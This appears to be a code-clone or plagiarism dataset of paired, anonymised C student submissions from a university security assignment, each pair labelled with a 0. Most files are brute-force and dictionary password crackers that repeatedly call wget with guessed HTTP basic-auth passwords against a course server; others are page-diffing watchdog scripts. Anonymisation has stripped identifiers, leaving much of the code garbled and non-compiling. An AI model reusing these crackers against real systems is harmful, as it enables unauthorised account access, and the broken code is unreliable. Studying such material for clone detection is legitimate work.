if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],ttime,count); flage=1; break; } fclose(log); } } if(flage==0) { for(i=0;i<52;i++) { for(j=0;j<52;j++) { add[40]=arr[i]; add[41]=arr[j]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],ttime,count); flage=1; break; } fclose(log); } } } }
#include<stdio.h> #include<strings.h> #include<stdlib.h> #include<ctype.h> #define MINSIZE 26 #define MAXSIZE 52 #define MAX_SIZE 255 int CrackPasswd(char *passwd) { int flag; char string1[MAX_SIZE],string2[MAX_SIZE],[MAX_SIZE]; strcpy(string1,"wget http://sec-crack.cs.rmit.edu./SEC/2/"); strcpy(string2," --http-user= --http-passwd='"); strcpy(,""); strcat(, string1); strcat(, string2); strcat(, passwd); strcat(, "'"); printf("Sending Request as %s\n",); flag = system(); if (flag == 0) { printf("\nPassword is %s\n",passwd); return 1; } strcpy(,""); return 0; } int BruteForce(char *CharArray) { int i, j, k; char passwd[MAX_SIZE]; for (i=0;i<MAX_SIZE;i++) passwd[i] = '\0'; for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; if(CrackPasswd(passwd) == 1) return 1; } for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; for(j=0;j<MAXSIZE;j++) { passwd[1] = CharArray[j]; if(CrackPasswd(passwd) == 1) return 1; } } for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; for(j=0;j<MAXSIZE;j++) { passwd[1] = CharArray[j]; for(k=0;k<MAXSIZE;k++) { passwd[2] = CharArray[k]; if(CrackPasswd(passwd) == 1) return 1; } } } return 0; } int (int argc, char *argv[]) { char CharArray[MAXSIZE]; char ch='a'; int i,j; int , end; = time(); strcpy(CharArray,""); for (i=0;i<MINSIZE;i++) { CharArray[i]=ch; ch++; } ch='A'; for (i=MINSIZE;i<MAXSIZE;i++) { CharArray[i]=ch; ch++; } if (argc != 1) { fprintf(stdout,"Usage : ./BruteForce \n"); return(EXIT_FAILURE); } BruteForce(CharArray); getpid(); end = time(); printf("Time Required = %lld msec\n",(end-)/()); return (EXIT_SUCCESS); }
0
001.c
043.c
#include<stdio.h> #include<string.h> #include<strings.h> #include<stdlib.h> #include<sys/time.h> () { int i,j,k,m,count=0,flage=0; FILE* log; time_t ,finish; double ttime; char s[30]; char arr[52]={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; char add[100]; strcpy(add,"wget --http-user= --http-passwd= -nv -o log http://sec-crack.cs.rmit.edu./SEC/2/"); =time(NULL); for(i=0;i<52;i++) { for(j=0;j<52;j++) { for(k=0;k<52;k++) { printf("%c %c %c\n",arr[i],arr[j],arr[k]); add[40]=arr[i]; add[41]=arr[j]; add[42]=arr[k]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],arr[k],ttime,count); flage=1; break; } fclose(log); } } } if(flage==0) { for(i=0;i<52;i++) { add[40]=arr[i]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],ttime,count); flage=1; break; } fclose(log); } } if(flage==0) { for(i=0;i<52;i++) { for(j=0;j<52;j++) { add[40]=arr[i]; add[41]=arr[j]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],ttime,count); flage=1; break; } fclose(log); } } } }
#include <stdio.h> #include <stdlib.h> #include <sys/time.h> #include <strings.h> #include <ctype.h> int () { char word[15], *chk; system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir one"); system("mv www.cs.rmit.edu./images/*.* one/"); system("mv www.cs.rmit.edu./students/*.* one/"); sleep(15); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir two"); system("mv www.cs.rmit.edu./images/*.* two/"); system("mv www.cs.rmit.edu./students/*.* two/"); system("diff one two > difference.txt"); system("mailx -s \"Message1\" < difference.txt"); return 0; }
0
001.c
014.c
#include<stdio.h> #include<string.h> #include<strings.h> #include<stdlib.h> #include<sys/time.h> () { int i,j,k,m,count=0,flage=0; FILE* log; time_t ,finish; double ttime; char s[30]; char arr[52]={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; char add[100]; strcpy(add,"wget --http-user= --http-passwd= -nv -o log http://sec-crack.cs.rmit.edu./SEC/2/"); =time(NULL); for(i=0;i<52;i++) { for(j=0;j<52;j++) { for(k=0;k<52;k++) { printf("%c %c %c\n",arr[i],arr[j],arr[k]); add[40]=arr[i]; add[41]=arr[j]; add[42]=arr[k]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],arr[k],ttime,count); flage=1; break; } fclose(log); } } } if(flage==0) { for(i=0;i<52;i++) { add[40]=arr[i]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],ttime,count); flage=1; break; } fclose(log); } } if(flage==0) { for(i=0;i<52;i++) { for(j=0;j<52;j++) { add[40]=arr[i]; add[41]=arr[j]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],ttime,count); flage=1; break; } fclose(log); } } } }
#include <stdio.h> #include <stdlib.h> #include <sys/time.h> #define MINCHAR 65 #define MAXCHAR 122 int bruteforce_first(int passlen, int *attempts); int bruteforce_two(int passlen, int *attempts); int bruteforce_three(int passlen, int *attempts); int main() { int i, wdlen = 1; int runtime; int counter ; int initTime = 0, exitTime = 0, runTime = 0; initTime = time(); if (bruteforce_first(wdlen, &counter) == 2) { wdlen++; if (bruteforce_two(wdlen, &counter) == 3) { wdlen++; if (bruteforce_three(wdlen, &counter) == 0) printf("Success In Breaking The Password"); else printf("Failure !!!!!!"); } } else { printf("Success In Breaking The Password"); } exitTime = time(); runTime = (exitTime - initTime); printf("\nNumber of attempts is... %d", counter); printf("\nTime taken is %lld milli seconds\n", (runTime)/()); return 0; } int bruteforce_first(int passlen, int *attempts) { int i; int j = MINCHAR; char *str, *passwd; str = (char *) malloc(passlen * sizeof(char)); for (i = 0; i < passlen; i++) { str[i] = MINCHAR; } str[passlen] = '\0'; for (i = MINCHAR; i <= MAXCHAR; i++) { if (i == 91) i = i + 6; str[passlen - 1] = i; puts(str); (*attempts)++; char [100]; sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str); if (system() == 0) { printf("Password cracked successfully:"); printf("Password is %s", str); return 0; } } return 2; } int bruteforce_two(int passlen, int *attempts) { int i; int j = MINCHAR; char *str, *passwd; str = (char *) malloc(passlen * sizeof(char)); for (i = 0; i < passlen; i++) { str[i] = MINCHAR; } str[passlen] = '\0'; while (str[0] != MAXCHAR + 1) { for (i = MINCHAR; i <= MAXCHAR; i++) { if (i == 91) i = i + 6; str[passlen - 1] = i; (*attempts)++; puts(str); char [100]; sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str); if (system() == 0) { printf("Password cracked successfully: "); printf("Password is %s", str); return 0; } } i = 0; if (str[i] == 'Z') { str[i] = 'a'; } else str[i]++; } return 3; } int bruteforce_three(int passlen, int *attempts) { int i; int j = MINCHAR; char *str, *passwd; str = (char *) malloc(passlen * sizeof(char)); for (i = 0; i < passlen; i++) { str[i] = MINCHAR; } str[passlen] = '\0'; while (str[0] != MAXCHAR + 1) { for (i = MINCHAR; i <= MAXCHAR; i++) { if (i == 91) i = i + 6; str[passlen - 1] = i; (*attempts)++; puts(str); char [100]; sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str); if (system() == 0) { printf("Password cracked successfully: "); printf("Password is %s", str); return 0; } } i = 1; while (i <= passlen - 1) { if (str[passlen - i - 1] == 'z') { str[passlen - i - 1] = MINCHAR; str[passlen - 1 - 2]++; break; } else { if (str[passlen - i - 1] == 'Z') { str[passlen - i - 1] = 'a'; break; } else { str[passlen - i - 1]++; break; } } i++; } } return 0; }
0
001.c
050.c
#include<stdio.h> #include<string.h> #include<strings.h> #include<stdlib.h> #include<sys/time.h> () { int i,j,k,m,count=0,flage=0; FILE* log; time_t ,finish; double ttime; char s[30]; char arr[52]={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; char add[100]; strcpy(add,"wget --http-user= --http-passwd= -nv -o log http://sec-crack.cs.rmit.edu./SEC/2/"); =time(NULL); for(i=0;i<52;i++) { for(j=0;j<52;j++) { for(k=0;k<52;k++) { printf("%c %c %c\n",arr[i],arr[j],arr[k]); add[40]=arr[i]; add[41]=arr[j]; add[42]=arr[k]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],arr[k],ttime,count); flage=1; break; } fclose(log); } } } if(flage==0) { for(i=0;i<52;i++) { add[40]=arr[i]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],ttime,count); flage=1; break; } fclose(log); } } if(flage==0) { for(i=0;i<52;i++) { for(j=0;j<52;j++) { add[40]=arr[i]; add[41]=arr[j]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],ttime,count); flage=1; break; } fclose(log); } } } }
#include <stdio.h> #include <stdlib.h> #include <sys/time.h> #include <strings.h> #include <ctype.h> int () { FILE *fp; char *chk,[4]; int i=1; while (i == 1) { system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir first"); system("mkdir second"); system("mv www.cs.rmit.edu./images/*.* first/"); system("mv www.cs.rmit.edu./students/*.* first/"); sleep(86400); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mv www.cs.rmit.edu./images/*.* second/"); system("mv www.cs.rmit.edu./students/*.* second/"); system("diff first second > imagesdifference.txt"); fp = fopen("imagesdifference.txt","r"); chk = fgets(, 4, fp); if (strlen() != 0) system("mailx -s \"Difference from WatchDog\" < imagesdifference.txt"); } return 0; }
0
001.c
016.c
#include<stdio.h> #include<string.h> #include<strings.h> #include<stdlib.h> #include<sys/time.h> () { int i,j,k,m,count=0,flage=0; FILE* log; time_t ,finish; double ttime; char s[30]; char arr[52]={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; char add[100]; strcpy(add,"wget --http-user= --http-passwd= -nv -o log http://sec-crack.cs.rmit.edu./SEC/2/"); =time(NULL); for(i=0;i<52;i++) { for(j=0;j<52;j++) { for(k=0;k<52;k++) { printf("%c %c %c\n",arr[i],arr[j],arr[k]); add[40]=arr[i]; add[41]=arr[j]; add[42]=arr[k]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],arr[k],ttime,count); flage=1; break; } fclose(log); } } } if(flage==0) { for(i=0;i<52;i++) { add[40]=arr[i]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],ttime,count); flage=1; break; } fclose(log); } } if(flage==0) { for(i=0;i<52;i++) { for(j=0;j<52;j++) { add[40]=arr[i]; add[41]=arr[j]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],ttime,count); flage=1; break; } fclose(log); } } } }
#include <string.h> #include <stdlib.h> #include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <sys/wait.h> #include <sys/time.h> void emptyFile(char* name) { FILE* myFile; myFile = fopen(name,"w"); fclose(myFile); } int (void) { FILE* myFile; char* myString; myString = malloc(sizeof(char ) * 100); emptyFile(".old.html"); emptyFile(".new.html"); system("wget -O .old.html -q http://www.cs.rmit.edu./students/"); while(1) { emptyFile(".new.html"); system("wget -O .new.html -q http://www.cs.rmit.edu./students/"); system("diff .old.html .new.html > watch.txt"); myFile = fopen("watch.txt","r"); if(myFile != (FILE*) NULL) { fgets(myString,100,myFile); if(strlen(myString) > 0) { system("mail @cs.rmit.edu. < watch.txt"); system("cp .new.html .old.html"); } } sleep(60*60*24); } return 1; }
0
001.c
007.c
#include<stdio.h> #include<string.h> #include<strings.h> #include<stdlib.h> #include<sys/time.h> () { int i,j,k,m,count=0,flage=0; FILE* log; time_t ,finish; double ttime; char s[30]; char arr[52]={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; char add[100]; strcpy(add,"wget --http-user= --http-passwd= -nv -o log http://sec-crack.cs.rmit.edu./SEC/2/"); =time(NULL); for(i=0;i<52;i++) { for(j=0;j<52;j++) { for(k=0;k<52;k++) { printf("%c %c %c\n",arr[i],arr[j],arr[k]); add[40]=arr[i]; add[41]=arr[j]; add[42]=arr[k]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],arr[k],ttime,count); flage=1; break; } fclose(log); } } } if(flage==0) { for(i=0;i<52;i++) { add[40]=arr[i]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],ttime,count); flage=1; break; } fclose(log); } } if(flage==0) { for(i=0;i<52;i++) { for(j=0;j<52;j++) { add[40]=arr[i]; add[41]=arr[j]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],ttime,count); flage=1; break; } fclose(log); } } } }
#include <sys/time.h> #include <strings.h> #include <ctype.h> #include <stdio.h> #include <stdlib.h> int main() { system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir home"); system("mv www.cs.rmit.edu./images/*.* home/"); system("mv www.cs.rmit.edu./students/*.* home/"); system("cd www.cs.rmit.edu./images"); sleep(1); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir second"); system("mv www.cs.rmit.edu./images/*.* second/"); system("mv www.cs.rmit.edu./students/*.* second/"); system("cd www.cs.rmit.edu./images"); system("diff home second > difference.txt"); system("mailx -s \"Difference in \" < difference.txt "); return 0; }
0
001.c
054.c
#include<stdio.h> #include<string.h> #include<strings.h> #include<stdlib.h> #include<sys/time.h> () { int i,j,k,m,count=0,flage=0; FILE* log; time_t ,finish; double ttime; char s[30]; char arr[52]={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; char add[100]; strcpy(add,"wget --http-user= --http-passwd= -nv -o log http://sec-crack.cs.rmit.edu./SEC/2/"); =time(NULL); for(i=0;i<52;i++) { for(j=0;j<52;j++) { for(k=0;k<52;k++) { printf("%c %c %c\n",arr[i],arr[j],arr[k]); add[40]=arr[i]; add[41]=arr[j]; add[42]=arr[k]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],arr[k],ttime,count); flage=1; break; } fclose(log); } } } if(flage==0) { for(i=0;i<52;i++) { add[40]=arr[i]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],ttime,count); flage=1; break; } fclose(log); } } if(flage==0) { for(i=0;i<52;i++) { for(j=0;j<52;j++) { add[40]=arr[i]; add[41]=arr[j]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],ttime,count); flage=1; break; } fclose(log); } } } }
#include<stdio.h> #include<stdlib.h> #include<string.h> #include<ctype.h> #include<time.h> int () { int m,n,o,i; time_t u1,u2; char v[3]; char temp1[100]; char temp2[100]; char temp3[250]; FILE *fin1; char point[25]; fin1=fopen("./words.txt","r"); if(fin1==NULL) { printf(" open the file "); exit(0); } strcpy(temp2," --http-user= --http-passwd="); strcpy(temp1,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php"); strcpy(temp3,""); (void) time(&u1); while(!feof(fin1)) { fgets(point,25,fin1); if(strlen(point)<=4) { strcpy(temp3,temp1); strcat(temp3,temp2); strcat(temp3,point); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",point); printf("\n\nThe time_var taken crack the passwork is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } } } }
0
001.c
021.c
#include<stdio.h> #include<string.h> #include<strings.h> #include<stdlib.h> #include<sys/time.h> () { int i,j,k,m,count=0,flage=0; FILE* log; time_t ,finish; double ttime; char s[30]; char arr[52]={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; char add[100]; strcpy(add,"wget --http-user= --http-passwd= -nv -o log http://sec-crack.cs.rmit.edu./SEC/2/"); =time(NULL); for(i=0;i<52;i++) { for(j=0;j<52;j++) { for(k=0;k<52;k++) { printf("%c %c %c\n",arr[i],arr[j],arr[k]); add[40]=arr[i]; add[41]=arr[j]; add[42]=arr[k]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],arr[k],ttime,count); flage=1; break; } fclose(log); } } } if(flage==0) { for(i=0;i<52;i++) { add[40]=arr[i]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],ttime,count); flage=1; break; } fclose(log); } } if(flage==0) { for(i=0;i<52;i++) { for(j=0;j<52;j++) { add[40]=arr[i]; add[41]=arr[j]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],ttime,count); flage=1; break; } fclose(log); } } } }
#include<stdio.h> #include<stdlib.h> #include <sys/types.h> #include <unistd.h> #include <sys/time.h> #include<string.h> int () { char a[100],c[100],c1[100],c2[100],m[50]; char b[53]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; int i,j,k,count=0; int total_time,start_time,end_time; start_time = time(); for(i=0;i<52;i++) { m[0]=b[i]; m[1]='\0'; strcpy(c,m); printf("%s \n",c); for(j=0;j<52;j++) { m[0]=b[j]; m[1]='\0'; strcpy(c1,c); strcat(c1,m); printf("%s \n",c1); for(k=0;k<52;k++) { count++; printf("ATTEMPT :%d\n",count); m[0]=b[k]; m[1]='\0'; strcpy(c2,c1); strcat(c2,m); strcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd="); strcat(a,c2); if(system(a)==0) { printf("Congratulations!!!!BruteForce Attack Successful\n"); printf("***********************************************\n"); printf("The Password is %s\n",c2); printf("The Request sent is %s\n",a); end_time = time(); total_time = (end_time -start_time); total_time /= 1000000000.0; printf("The Time Taken is : %llds\n",total_time); exit(1); } } } } return 0; }
0
001.c
030.c
#include<stdio.h> #include<string.h> #include<strings.h> #include<stdlib.h> #include<sys/time.h> () { int i,j,k,m,count=0,flage=0; FILE* log; time_t ,finish; double ttime; char s[30]; char arr[52]={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; char add[100]; strcpy(add,"wget --http-user= --http-passwd= -nv -o log http://sec-crack.cs.rmit.edu./SEC/2/"); =time(NULL); for(i=0;i<52;i++) { for(j=0;j<52;j++) { for(k=0;k<52;k++) { printf("%c %c %c\n",arr[i],arr[j],arr[k]); add[40]=arr[i]; add[41]=arr[j]; add[42]=arr[k]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],arr[k],ttime,count); flage=1; break; } fclose(log); } } } if(flage==0) { for(i=0;i<52;i++) { add[40]=arr[i]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],ttime,count); flage=1; break; } fclose(log); } } if(flage==0) { for(i=0;i<52;i++) { for(j=0;j<52;j++) { add[40]=arr[i]; add[41]=arr[j]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],ttime,count); flage=1; break; } fclose(log); } } } }
#include<stdio.h> #include<stdlib.h> #include<strings.h> #include<ctype.h> #include <sys/time.h> #define OneBillion 1e9 int () { int startTime, stopTime, final; int i,j,k; int pass,count=0; char arr[52] ={'A','a','B','b','C','c','D','d','E','e','F','f','G','g','H','h','I','i','J','j','K','k','L','l','M','m','N','n','O','o','P','p','Q','q','R','r','S','s','T','t','U','u','V','v','W','w','X','x','Y','y','Z','z'}; char [4]; char url1[100]; char url2[100]; startTime = time(); for (i=0;i<=52;i++) { for (j=0;j<=52;j++) { for(k=0;k<=52;k++) { count++; [0] = arr[i]; [1] = arr[j]; [2] = arr[k]; [3] = '\0'; printf("Checking for the word :%s\n",); strcpy(url1 ,"wget --http-user= --http-passwd="); strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ "); strcat(url1,); strcat(url1,url2); pass = system(url1); if (pass == 0) { printf("Success\n"); printf("Number of attempts = %d\n",count); stopTime = time(); final = stopTime-startTime; printf("The password for the user : %s\n",); printf(" Cracked the password in %lld nanoseconds (%1f seconds) \n",final,(double)final/OneBillion); exit(1);} } } } }
0
001.c
044.c
#include<stdio.h> #include<string.h> #include<strings.h> #include<stdlib.h> #include<sys/time.h> () { int i,j,k,m,count=0,flage=0; FILE* log; time_t ,finish; double ttime; char s[30]; char arr[52]={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; char add[100]; strcpy(add,"wget --http-user= --http-passwd= -nv -o log http://sec-crack.cs.rmit.edu./SEC/2/"); =time(NULL); for(i=0;i<52;i++) { for(j=0;j<52;j++) { for(k=0;k<52;k++) { printf("%c %c %c\n",arr[i],arr[j],arr[k]); add[40]=arr[i]; add[41]=arr[j]; add[42]=arr[k]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],arr[k],ttime,count); flage=1; break; } fclose(log); } } } if(flage==0) { for(i=0;i<52;i++) { add[40]=arr[i]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],ttime,count); flage=1; break; } fclose(log); } } if(flage==0) { for(i=0;i<52;i++) { for(j=0;j<52;j++) { add[40]=arr[i]; add[41]=arr[j]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],ttime,count); flage=1; break; } fclose(log); } } } }
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <ctype.h> char *itoa(int); int () { int t,t1,t2, timeinsec; int nofattempts = 0; char url[80], url1[80], *ur1, *ur2; strcpy(url, "wget --http-user= --http-passwd="); strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt"); int i = 65; int j ; int k ; char *c1, *c2, *c3; char *c12, pass[4]; int syst = 1; char a = 'a'; char inside[50]; t1 = time(); for (i = 65; i <= 122; i++) { if (i > 90 && i < 97) continue; for (j = 65; j <= 122; j++) { if (j > 90 && j < 97) continue; for (k = 65; k <= 122; k++) { fflush(stdin); if (k > 90 && k < 97) continue; c1 = itoa(i); c2 = itoa(j); c3 = itoa(k); pass[0] = *c1; pass[1] = *c2; pass[2] = *c3; pass[3] = '\0'; strcat(url, pass); strcat(url, url1); ++nofattempts; syst = system(url); printf("%s\n",pass); if (syst == 0) { t2 = time(); t = t2 - t1; timeinsec = t / 1000000000; printf(" Total .of attempts :- %d", nofattempts); printf("\n !!! 's the password:- %s\n", pass); printf("\n Brute force has taken much of time_var :- %lld seconds\n", timeinsec); exit(1); } strcpy(url, ""); strcpy(url, "wget --http-user= --http-passwd="); } } } exit(0); } char *itoa(int a) { char *[26] = { "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z" }; char *[26] = { "A", "B", 